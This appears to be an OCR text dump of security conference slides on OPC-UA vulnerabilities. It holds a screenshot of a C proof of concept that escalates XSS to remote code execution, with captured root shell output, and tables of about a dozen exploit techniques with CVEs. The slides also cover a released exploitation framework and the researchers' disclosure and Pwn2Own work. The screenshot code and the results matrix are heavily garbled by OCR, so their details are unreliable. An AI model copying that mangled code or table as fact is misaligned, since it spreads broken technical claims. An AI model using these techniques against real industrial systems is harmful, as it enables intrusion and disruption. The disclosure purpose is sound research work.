2616 2023-01-25 - core/Core_config.dat
168 2023-01-25 - core/PersistedAlerts.dat
0 2023-01-25 - core/SLMFiles



XSS Over OPC-UA to RCE

C acl_init.c2,M X

home > uri > PROJECTS > Softing > mod_acl >

#include "libacl.h"

. /ClarotyPOC.zip

25 clude <stdio.h>
2023-01-25 - R SN 26 le <fcntl.h>
2023-01-25 - N SR g 27 include <unistd.h>
193584 2023-01-25 - RPK (T i 24
193584 2023-01-25 . G A TG 29 _attribute__(uxwmtructOfJ
0] 2023-01-25 . core/ 3 my__constrgctor(. ) {
2616 2023-01-25 13: core/Core ! FILE *himl_tile; _
168 2023-01-25 . core/Pers , html file = fopen("/app/HTML5/ClarotyPOC.html",
Q@ 2023-01-25 ;

fprintf(html file, "<html>\n <body><pre>\n\n

fprintf(html file, "id\n");
FILE *1d output = popen("id", "r");




XSS Over OPC-UA to RCE

€& > C A Notsecure | 10.10.6.117:8099/ClarotyPOC.html

AT

|| Eil P A S

,,,,, R (R, ') (PR ! E—— I B Y
L 1A= 1 . ag Y] P XN s

I O Do O o T L L. AR L B L Yot

— I e \__I\_} } P IX s BV LR e 5

uid=0(root) gid=0(root) groups=0(root)

i whoami
| root

date
Wed Feb 1 09:39:35 UTC 2023

hostname
5c69e512eb58

ip a
1: lo: mtu 65536 gqdisc noqueue state UNKNOWN group default gqlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
20: eth0@if21l: mtu 1500 gdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid ©
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth®
valid 1ft forever preferred 1ft forever




OPC-UA Exploitation Framework
Open-Source



Agenda

What is OPC-UA?

Protocol Stack Implementations
Bits and Bytes

Research Methodology
Vulnerabilities and Exploits
OPC-UA Exploitation Framework

Summary



Results: 12 concepts, ~50 CVEs

Complex Dee Unlimited
Stack/Application Name Lang Neste‘:l Varian't)s Star?a::::rbos Lonngl;unks Monitored Items Uc?nsv;r‘;::r:sﬁ
DoS DoS
node-opcua NodeJS V Vv i E i V
open62541 C V Vv ¢ : Vv Vv
freeopcua (c++) C++ Vv Vv \") ' . Vv
python-opcua Python V Vv i ' Vv V
opcua-asyncio Python Vv Vv ' ' Vv Vv
eclipse-milo Java Vv Vv Vv @ J Vv
ASNeG OpcUaStack C++ Vv " # Vv "
locka99 Rust ¥ 0 V £ 3 Vv Vv
Unified Automation C++ Vv Vv Vv d, NC Vv
OPC Foundation .NET Stack C# t Vv ' 086 Vv Vv
Softing OPC UA SDK C++ Vv Vv Vv Vv \"
Prosys OPC UA Java \" § i Vv Vv Vv
OPC UA Legacy Java Stack Java \' ¢ ¢ Vv Vv Vv
Kepware KEPServerEX C/IC++ ¥ V i X




OPC-UA Exploit Framework

* Open source framework with all of our work

* Sharing after disclosed to all vendors + worked
closely with them

ofyto
ek

ol

e Based on our OPC-UA client

* Highly customizable with 12 out-of-the-box
exploits

github.com/claroty/opcua-exploit-framework



https://github.com/claroty/opcua-exploit-framework

Claroty OPC Exploit Framework

Attack Name Description Vulnerability Function CVE and
Type Keyword Reference
Certificate Infinite Chain Some servers implemented the Denial of Service certificate_inf_chain CVE-2022-37013
Loop Certificate chain check by _loop

themselves and forgot to protect
against a chain loop. Example:
CertAis signed by CertB which is
signed by CertA

Chunk Flooding Sending huge amount of chunks Denial of Service chunk_flood CVE-2022-29864,
without the Final chunk CVE-2022-21208,
CVE-2022-25761,

CVE-2022-25304,
CVE-2022-24381,
CVE-2022-25888

Open Multiple Secure Flooding the server with many Denial of Service open_multiple_secur  CVE-2023-32787
Channels open channel requests leads to a e _channels
denial of service


https://sector7.computest.nl/post/2022-09-unified-automation-opcua-cpp/
https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2022-29864.pdf
https://security.snyk.io/vuln/SNYK-JS-NODEOPCUA-2988723
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25761
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25304
https://security.snyk.io/vuln/SNYK-UNMANAGED-ASNEGOPCUASTACK-2988735
https://security.snyk.io/vuln/SNYK-RUST-OPCUA-2988751
https://nvd.nist.gov/vuln/detail/CVE-2023-32787

Claroty OPC Exploit Framework

Function Call Null
Dereference

Malformed UTF8

Race Change And
Browse Address
Space

Unlimited Condition
Refresh

Triggering an application crash
after several OPC UA methods
have been called and the OPC
UA session is closed before the
methods have been finished.

Triggering an application crash
after processing malformed UTF8
strings

Adding nodes to the server
address space and removing the
nodes in a loop while browsing
the entire address space.

Sending many ConditionRefresh
method calls leads to uncontrolled
memory allocations and
eventually to a crash
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Remote Code
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Denial of Service

Denial of Service
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CVE-2022-1748

CVE-2022-2825,
CVE-2022-2848

CVE-2023-32172

CVE-2023-27321


https://nvd.nist.gov/vuln/detail/CVE-2022-1748
https://nvd.nist.gov/vuln/detail/CVE-2022-2825
https://nvd.nist.gov/vuln/detail/CVE-2022-2848
https://www.zerodayinitiative.com/advisories/ZDI-23-777/
https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2023-27321.pdf

Claroty OPC Exploit Framework

Close Session With
Old Timestamp

Complex Nested
Message

Translate Browse Path
Call Stack Overflow

Thread Pool Wait
Starvation

Unlimited Persistent
Subscriptions

Sending bad timestamp on
closing session leads to an
uncaught stacktrace with
sensitive information

Sending a complex nested variant
leads to a call stack overflow

Triggering a stack overflow
exception in a server that doesn't
limit TranslateBrowsePath
resolving calls

Thread pool deadlock due to
concurrent worker starvation

Flooding the server with many
monitored items with 'delete’ flag
set to False leads to uncontrolled
memory allocation and eventually
to a denial of service

Information
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CVE-2023-31048

CVE-2022-25903,
CVE-2021-27432

CVE-2022-29866

CVE-2022-30551

CVE-2022-25897,C
VE-2022-24375,CV
E-2022-24298


https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2023-31048.pdf
https://security.snyk.io/vuln/SNYK-RUST-OPCUA-2988750
https://nvd.nist.gov/vuln/detail/CVE-2021-27432
https://jfrog.com/blog/crashing-industrial-control-systems-at-pwn2own-miami-2022/
https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2022-30551.pdf
https://security.snyk.io/vuln/SNYK-JAVA-ORGECLIPSEMILO-2990191
https://security.snyk.io/vuln/SNYK-JS-NODEOPCUA-2988725
https://security.snyk.io/vuln/SNYK-JS-NODEOPCUA-2988725
https://security.snyk.io/vuln/SNYK-UNMANAGED-FREEOPCUAFREEOPCUA-2988720
https://security.snyk.io/vuln/SNYK-UNMANAGED-FREEOPCUAFREEOPCUA-2988720
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Summary

Pwn20wn ICS:
We participated
and demonstrated
our OPC-UA
exploits in three
Pwn20wn
competitions -
Pwn20wn ICS
2020, 2022, 2023

CVE: We found
and reported on
~50 OPC-UA
vulnerabilities/CVE
across ~15
protocol stacks
which affects
hundreds of
OPC-UA products.

Exploit Technique:

We developed ~12
unique exploit
techniques that are
universal and
affected multiple
vendors and
pushed to change
the specs.

Open-Source
Tools: We
released two OOS
tools including
OPC-UA network
fuzzer and
OPC-UA
exploitation
framework.

OPC-UA
Specifications:
we helped to
improve the
specifications
and pushed the
vendors towards
better and more
secure products.



https://www.zerodayinitiative.com/blog/2019/10/28/pwn2own-miami-bringing-ics-into-the-pwn2own-world
https://www.zerodayinitiative.com/blog/2021/10/22/our-ics-themed-pwn2own-contest-returns-to-miami-in-2022
https://www.zerodayinitiative.com/blog/2022/11/30/pwn2own-returns-to-miami-beach-for-2023
https://claroty.com/team82/research/team82-releases-homegrown-opc-ua-network-fuzzer-based-on-boofuzz
https://claroty.com/team82/research/team82-releases-homegrown-opc-ua-network-fuzzer-based-on-boofuzz
https://reference.opcfoundation.org/

